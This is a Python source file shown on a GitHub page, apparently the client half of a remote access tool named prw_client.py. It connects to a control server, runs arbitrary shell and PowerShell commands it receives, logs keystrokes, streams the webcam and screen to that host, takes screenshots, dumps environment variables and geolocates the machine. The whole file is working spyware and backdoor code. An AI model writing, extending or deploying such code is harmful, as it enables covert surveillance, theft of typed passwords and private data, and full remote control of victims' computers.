-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathprw_client.py
More file actions
415 lines (389 loc) · 18.3 KB
/
prw_client.py
File metadata and controls
415 lines (389 loc) · 18.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
import asyncio
import base64
import ctypes
import json
import os
import platform
import subprocess
import urllib.request
from datetime import datetime
from io import BytesIO
from pprint import pprint
from subprocess import STDOUT, check_output
import chardet
import pyautogui
import websockets
import cv2
import tempfile
from PIL import Image
import webbrowser
from threading import Thread
import commands
from pynput.keyboard import Listener
import glob
from vidstream import CameraClient
from vidstream import ScreenShareClient
user32 = ctypes.WinDLL('user32')
kernel32 = ctypes.WinDLL('kernel32')
# Convert Image to Base64
def im_2_b64(image):
buff = BytesIO()
image.save(buff, format="JPEG")
img_str = base64.b64encode(buff.getvalue())
return img_str.decode("ascii")
def keylogger():
global running_keylogger
global keylogger_file
global pressed_keys_map
def on_press(key):
if running_keylogger == True:
if not key in pressed_keys_map or not pressed_keys_map[key]:
pressed_keys_map[key]=True
try:
with open(keylogger_file, 'a') as f:
now = datetime.now() # current date and time
f.write(f'{now.strftime("%d.%G.%d %H:%M:%S:%f")} \t {key}\n')
f.close()
except:
pass
def on_release(key):
if running_keylogger == True:
pressed_keys_map[key]=False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
async def client():
# print("Start Test")
global running_keylogger
global running_webcam
global running_screenshare
global keylogger_file
try:
print("Trying to connect...")
async with websockets.connect('ws://192.0.2.66:31337') as websocket:
timestamp = str(datetime.now())
print(f"Sending hello timestamp {timestamp}")
await websocket.send(timestamp)
# Receive Configuration
try:
config_store_json = await websocket.recv()
except:
return
config_store=json.loads(config_store_json)
pprint(config_store)
for k in config_store:
print(f'{k}: {config_store[k]}')
while True:
command_json = await websocket.recv()
command = json.loads(command_json)
request = command[0]
args = command[1]
print(f"Command to execute: {request}")
print(f"Command to execute: {str(args)}")
status = "OK"
output_type = "TEXT"
output = []
# Powershell command
if request in commands.ps:
try:
# execut powershell as subprocess so that the websocket communication
# will not time out for long requests
proc = await asyncio.create_subprocess_exec(
"powershell.exe", commands.ps[request],
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE
)
# if proc takes very long to complete, the CPUs are free to use cycles for
# other processes
stdout, stderr = await asyncio.wait_for(proc.communicate(), 5)
encoding = chardet.detect(stdout)['encoding']
output.append(stdout.decode(encoding, 'ignore'))
except Exception as e:
status = "ERROR"
output.append(str("-1"))
output.append(str(e))
# Shell command
elif request in commands.cmd:
try:
# execut powershell as subprocess so that the websocket communication
# will not time out for long requests
proc = await asyncio.create_subprocess_exec(
"cmd.exe","/C", commands.cmd[request],
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE)
# if proc takes very long to complete, the CPUs are free to use cycles for
# other processes
stdout, stderr = await asyncio.wait_for(proc.communicate(), 5)
encoding = chardet.detect(stdout)['encoding']
output.append(stdout.decode(encoding, 'ignore'))
except Exception as e:
status = "ERROR"
output.append(str("-1"))
output.append(str(e))
elif request == 'SHELL':
# Send command and arguments to shell
try:
ret = check_output(args, stderr=STDOUT, timeout=500, shell=True)
the_encoding = chardet.detect(ret)['encoding']
output.append(ret.decode(the_encoding, 'ignore'))
except subprocess.CalledProcessError as e:
status = "WARNING"
output.append(str(e.returncode))
the_encoding = chardet.detect(e.output)['encoding']
output.append(str(e.output.decode(the_encoding, 'ignore')))
except Exception as e:
status = "ERROR"
output.append(str("-1"))
output.append(str(e))
elif request == "GET_TIME":
# Get local time at client
try:
now = datetime.now() # current date and time
output.append(now.strftime("%A %d.%G.%d %H:%M:%S:%f"))
except Exception as e:
status = "ERROR"
output.append(str("-1"))
output.append(str(e))
elif request == "GET_LOCATION":
# Get geolocation and
try:
# with urllib.request.urlopen("https://geolocation-db.com/json") as url:
with urllib.request.urlopen("http://ip-api.com/json/") as url:
data = json.loads(url.read().decode())
for key in data:
output.append(f"{key}: {data[key]}")
output.append(f"http://www.google.com/maps/place/{data['lat']},{data['lon']}")
except Exception as e:
status = "ERROR"
output.append(str("-1"))
output.append(str(e))
elif request == "GET_CPU":
# get number of used monitors
try:
count = os.cpu_count()
output.append(f'Number of CPUs: {count}')
except Exception as e:
status = "ERROR"
output.append(str("-1"))
output.append(str(e))
elif request == "GET_PID":
# get current PID
try:
count = os.getpid()
output.append(f'Current PID: {count}')
except Exception as e:
status = "ERROR"
output.append(str("-1"))
output.append(str(e))
elif request == "GET_LOGIN":
# get current user
try:
count = os.getlogin()
output.append(f'Current Login: {count}')
except Exception as e:
status = "ERROR"
output.append(str("-1"))
output.append(str(e))
elif request == "GET_ENV":
# get ENVIRONMENT
try:
for k in os.environ:
output.append(f'{k} {os.getenv(k)}')
except Exception as e:
status = "ERROR"
output.append(str("-1"))
output.append(str(e))
elif request == 'GET_DRIVES':
# list all availible drive letters
try:
drives = []
bitmask = kernel32.GetLogicalDrives()
letter = ord('A')
while bitmask > 0:
if bitmask & 1:
output.append(chr(letter) + ':\\')
bitmask >>= 1
letter += 1
except Exception as e:
status = "ERROR"
output.append(str("-1"))
output.append(str(e))
elif request == "OPEN_URL":
try:
webbrowser.open_new_tab(args[0])
output.append(str("Sent open to lokal browser."))
except Exception as e:
status = "ERROR"
output.append(str("-1"))
output.append(str(e))
elif request == "WEBCAM":
try:
if args[0] == "STREAM":
if not running_webcam:
webcam = CameraClient("192.0.2.66", 31338)
webcam.start_stream()
running_webcam = True
output.append(str("Streaming..."))
else:
status = "ERROR"
output.append(str("Streaming already started"))
elif args[0] == "STOP":
running_webcam=False
webcam.stop_stream()
output.append(str("Stop streaming..."))
elif args[0] == "SNAP":
if not running_webcam:
webcam_snap = cv2.VideoCapture(0, cv2.CAP_DSHOW)
return_value, cam_image = webcam_snap.read()
# convert from openCV2 to PIL. Notice the COLOR_BGR2RGB which means that
# the color is converted from BGR to RGB
image = Image.fromarray(cv2.cvtColor(webcam_snap, cv2.COLOR_BGR2RGB))
webcam_snap.release()
output.append(im_2_b64(image))
output_type = "IMAGE"
else:
status = "ERROR"
output.append(str("Can't make snapshot while streaming"))
elif args[0] == "STATUS":
output.append(f"Webcam is streaming: {running_webcam}")
else:
status = "ERROR"
output.append(str("Unknown WEBCAM command"))
except Exception as e:
status = "ERROR"
output.append(str(e))
elif request == "SCREEN":
try:
if args[0] == "STREAM":
if not running_screenshare:
screencam = ScreenShareClient("192.0.2.66", 31339)
screencam.start_stream()
running_screenshare = True
output.append(str("Streaming..."))
else:
status = "ERROR"
output.append(str("Streaming already started"))
elif args[0] == "STOP":
running_screenshare=False
screencam.stop_stream()
output.append(str("Stop streaming..."))
elif args[0] == "SNAP":
image = pyautogui.screenshot()
tmp = im_2_b64(image)
output.append(tmp)
output_type = "IMAGE"
elif args[0] == "STATUS":
output.append(f"Screen is streaming: {running_screenshare}")
else:
status = "ERROR"
output.append(str("Unknown SCREEN command"))
except Exception as e:
status = "ERROR"
output.append(str(e))
elif request== "KEYLOGGER":
try:
if args[0].upper() == "START":
if not running_keylogger:
running_keylogger = True
try:
with open(keylogger_file, 'w') as f:
now = datetime.now() # current date and time
f.write("Started "+now.strftime("%d.%G.%d %H:%M:%S:%f:\n"))
f.close()
Thread(target=keylogger, daemon=True).start()
output.append(str("Keylogger session is started"))
output.append(str(keylogger_file))
except Exception as e:
status = "ERROR"
output.append(str("-1"))
output.append(str(e))
else:
status = "WARNING"
output.append(str("Keylogger is already running!"))
elif args[0].upper() == "STOP":
running_keylogger = False
output.append(str("Keylogger session is stopped, you can still download the dump file!"))
elif args[0].upper() == "DUMP":
with open(keylogger_file, 'r') as f:
logging=f.readlines()
f.close()
for line in logging:
output.append(str(line))
elif args[0].upper() == "CLEAN":
try:
with open(keylogger_file, 'w') as f:
now = datetime.now() # current date and time
f.write("Cleaned "+now.strftime("%d.%G.%d %H:%M:%S:%f:\n"))
f.close()
output.append(str("Keylogger logfile cleaned"))
output.append(str(keylogger_file))
except Exception as e:
status = "ERROR"
output.append(str("-1"))
output.append(str(e))
else:
output.append(f"Unknown subcommand: {str(args[0])}")
except:
output.append(f"Keylogger is running: {str(running_keylogger)}")
elif request== "FIND":
try:
try:
pattern=args[0]
for file in glob.glob(pattern, recursive=True):
output.append(str(file))
except Exception as e:
status = "ERROR"
output.append(str("-1"))
output.append(str(e))
except:
for file in glob.glob("*", recursive=True):
output.append(str(file))
elif request == "CD":
try:
# try:
os.chdir(args[0])
# except:
# pass
output.append(os.getcwd())
except Exception as e:
status = "ERROR"
output.append(str("-1"))
output.append(str(e))
elif request == 'SYSINFO':
output.append(f'''System: {platform.platform()} {platform.win32_edition()}''')
output.append(f'''Architecture: {platform.architecture()}''')
output.append(f'''Name of Computer: {platform.node()}''')
output.append(f'''Processor: {platform.processor()}''')
output.append(f'''Python: {platform.python_version()}''')
output.append(f'''Java: {platform.java_ver()}''')
output.append(f'''User: {os.getlogin()}''')
elif request == 'EXIT':
return
# exit(1)
else:
request = f"Internal Error: Unknown command {request}"
# pprint(output)
# print(type(output))
answer = []
answer.append(status)
answer.append(output_type)
answer.append(output)
answer_json = json.dumps(answer)
# print(f'Command: {answer_json}')
# pprint(answer_json)
await websocket.send(answer_json)
print("End of Command, waiting for next command")
except Exception as e:
print(f'Exception: {e}')
while True:
# Prepar stuff for keylogger
global pressed_keys_map
global running_keylogger
global keylogger_file
global running_webcam
global running_screenshare
pressed_keys_map = {}
running_keylogger=False
running_webcam=False
running_screenshare=False
keylogger_file = tempfile.gettempdir() + "\logging.txt"
asyncio.get_event_loop().run_until_complete(client())